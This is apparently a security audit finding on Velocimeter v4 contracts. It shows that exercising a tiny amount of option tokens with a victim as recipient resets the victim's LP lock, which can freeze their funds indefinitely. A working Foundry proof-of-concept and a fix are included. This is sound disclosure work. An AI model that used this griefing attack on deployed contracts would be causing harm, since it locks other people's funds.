Salty Azure Eagle

High

# Attacker can exercise option tokens to repeatedly relock victim's lp tokens.

## Summary

By exercising a very small amount of option tokens, an attacker can repeatedly reset the lock duration of the victim's lp balance, effectively locking the victim's funds indefinitely.

## Vulnerability Detail

`OptionTokenV4.exerciseLp()` calls `GaugeV4.depositWithLock()` with `_lockDuration` set to the max lock time. `GaugeV4.depositWithLock()` adds the provided `amount` to the existing `balanceWithLock[account]` and extends the lock duration **of the entire locked balance** (`lockEnd[account]`) to the provided `_lockDuration`.

By calling `OptionTokenV4.exerciseLp()` with a very small `amount` and `_recipient` set to the address of the victim, an attacker can reset the lock duration of the victim's lp balance to the max duration at practically no cost to the attacker. The attacker can repeat this whenever the lock is about to expire, thus locking the victim's funds indefinitely.

## Impact

Victim can never withdraw their lp balance.

## Proof of Concept

Copy this to a new file anywhere within `v4-contracts/test` and run it with `forge test --match-contract "OptionTokenLockVictim"`

<details>
<summary>Coded PoC</summary>

```solidity
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "lib/solmate/src/tokens/ERC20.sol";
import "contracts/factories/PairFactory.sol";
import "contracts/factories/GaugeFactoryV4.sol";
import "contracts/factories/BribeFactory.sol";
import "contracts/Router.sol";
import "contracts/VotingEscrow.sol";
import "contracts/Voter.sol";
import "contracts/Pair.sol";
import "contracts/GaugeV4.sol";
import "contracts/Flow.sol";
import "contracts/OptionTokenV4.sol";

contract Token is ERC20 {
    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) ERC20(_name, _symbol, _decimals) {}

    function mint(address to, uint amount) public {
        _mint(to, amount);
    }
}

contract OptionTokenLockVictim is Test {
    address DEPLOYER = address(uint160(uint(keccak256("DEPLOYER"))));
    address ALICE = address(uint160(uint(keccak256("ALICE"))));
    address BOB = address(uint160(uint(keccak256("BOB"))));

    Flow flow;
    Token paymentToken;
    Token underlyingToken;

    Router router;

    Pair pair;
    GaugeV4 gauge;

    OptionTokenV4 optionToken;

    function setUp() public {
        vm.startPrank(DEPLOYER);

        flow = new Flow(address(0), 0);
        paymentToken = new Token("Payment Token", "P", 18);
        underlyingToken = new Token("Underlying Token", "U", 18);

        underlyingToken.mint(DEPLOYER, 1e20);
        paymentToken.mint(DEPLOYER, 1e20);
        paymentToken.mint(ALICE, 1e20);
        paymentToken.mint(BOB, 1e20);

        PairFactory pairFactory = new PairFactory();
        GaugeFactoryV4 gaugeFactory = new GaugeFactoryV4();
        router = new Router(address(pairFactory), address(0));

        VotingEscrow votingEscrow = new VotingEscrow(
            address(flow),
            address(0),
            address(0),
            address(0)
        );

        Voter voter = new Voter(
            address(votingEscrow),
            address(pairFactory),
            address(gaugeFactory),
            address(new BribeFactory()),
            address(0)
        );

        pairFactory.setVoter(address(voter));

        pair = Pair(
            pairFactory.createPair(
                address(paymentToken),
                address(underlyingToken),
                false
            )
        );

        gauge = GaugeV4(voter.createGauge(address(pair), 0));

        optionToken = new OptionTokenV4(
            "Option Token",
            "O",
            DEPLOYER,
            address(underlyingToken),
            DEPLOYER,
            address(voter),
            address(router),
            false,
            false,
            false,
            0
        );

        gaugeFactory.addOTokenFor(address(gauge), address(optionToken));

        optionToken.setPairAndPaymentToken(pair, address(paymentToken));
        optionToken.setMaxLPDiscount(0);
        optionToken.setMinLPDiscount(1);
        optionToken.setLockDurationForMaxLpDiscount(52 weeks);
        optionToken.setLockDurationForMinLpDiscount(52 weeks);

        underlyingToken.approve(address(optionToken), 2e18);
        optionToken.mint(ALICE, 1e18);
        optionToken.mint(BOB, 1e18);

        underlyingToken.approve(address(router), 1e20);
        paymentToken.approve(address(router), 1e20);

        router.addLiquidity(
            address(underlyingToken),
            address(paymentToken),
            false,
            1e18,
            1e18,
            0,
            0,
            DEPLOYER,
            block.timestamp
        );

        for (uint i = 0; i < 10; i++) {
            router.swapExactTokensForTokensSimple(
                1e3,
                0,
                address(underlyingToken),
                address(paymentToken),
                false,
                DEPLOYER,
                block.timestamp
            );
            vm.warp(block.timestamp + 1801);
        }

        vm.stopPrank();
    }

    function testOptionTokenLockVictim() public {
        uint timestampAtStart = block.timestamp;

        vm.startPrank(ALICE); // <-- Victim
        paymentToken.approve(address(optionToken), type(uint).max);
        underlyingToken.approve(address(optionToken), 1e18);
        // Alice exercises 1 ether of option tokens with discount to get staked LP locked for 52 weeks
        (, , uint firstExpectedLp) = router.quoteAddLiquidity(
            address(underlyingToken),
            address(paymentToken),
            false,
            1e18,
            type(uint).max
        );
        optionToken.exerciseLp(1e18, type(uint).max, ALICE, 1, block.timestamp);
        assertEq(gauge.balanceOf(ALICE), firstExpectedLp);
        assertEq(gauge.balanceWithLock(ALICE), firstExpectedLp);
        // lock duration is 52 weeks
        assertEq(gauge.lockEnd(ALICE) - block.timestamp, 52 weeks);
        vm.stopPrank();

        vm.warp(block.timestamp + 51 weeks);

        // 27 weeks has passed and remaining lock duration is 1 week
        assertEq(gauge.lockEnd(ALICE) - block.timestamp, 1 weeks);

        vm.startPrank(BOB); // <-- Attacker
        paymentToken.approve(address(optionToken), type(uint).max);
        underlyingToken.approve(address(optionToken), 1);
        (, , uint secondExpectedLp) = router.quoteAddLiquidity(
            address(underlyingToken),
            address(paymentToken),
            false,
            1e2,
            type(uint).max
        );
        // Bob exercises just 10 wei of option tokens with _recipient set to Alice's address
        optionToken.exerciseLp(1e2, type(uint).max, ALICE, 1, block.timestamp);
        assertEq(gauge.balanceOf(ALICE), firstExpectedLp + secondExpectedLp);
        assertEq(
            gauge.balanceWithLock(ALICE),
            firstExpectedLp + secondExpectedLp
        );
        // lock duration is refreshed to 52 weeks
        assertEq(gauge.lockEnd(ALICE) - block.timestamp, 52 weeks);
        vm.stopPrank();

        vm.warp(block.timestamp + 51 weeks);

        // a total of 102 weeks has passed, but Alice is unable to withdraw any of her balance
        assertEq(block.timestamp - timestampAtStart, 102 weeks);
        vm.prank(ALICE);
        vm.expectRevert("The lock didn't expire");
        gauge.withdraw(1);
    }
}

```
</details>

## Code Snippet

`OptionTokenV4.exerciseLp()` calls `OptionTokenV4._exerciseLp()` which calls `GaugeV4.depositWithLock()`.

https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/OptionTokenV4.sol#L305-L314

https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/OptionTokenV4.sol#L652-L716

https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/GaugeV4.sol#L443-L459

## Tool used

Manual Review

## Recommendation

In `GaugeV4.depositWithLock` there is currently a check that `msg.sender == account || isOToken[msg.sender]`. This suggests that this function is only meant to be used by the account owner. Therefore, the recommendation is to either add a similar check in `OptionTokenV4.exerciseLp` or simply pass `msg.sender` as account.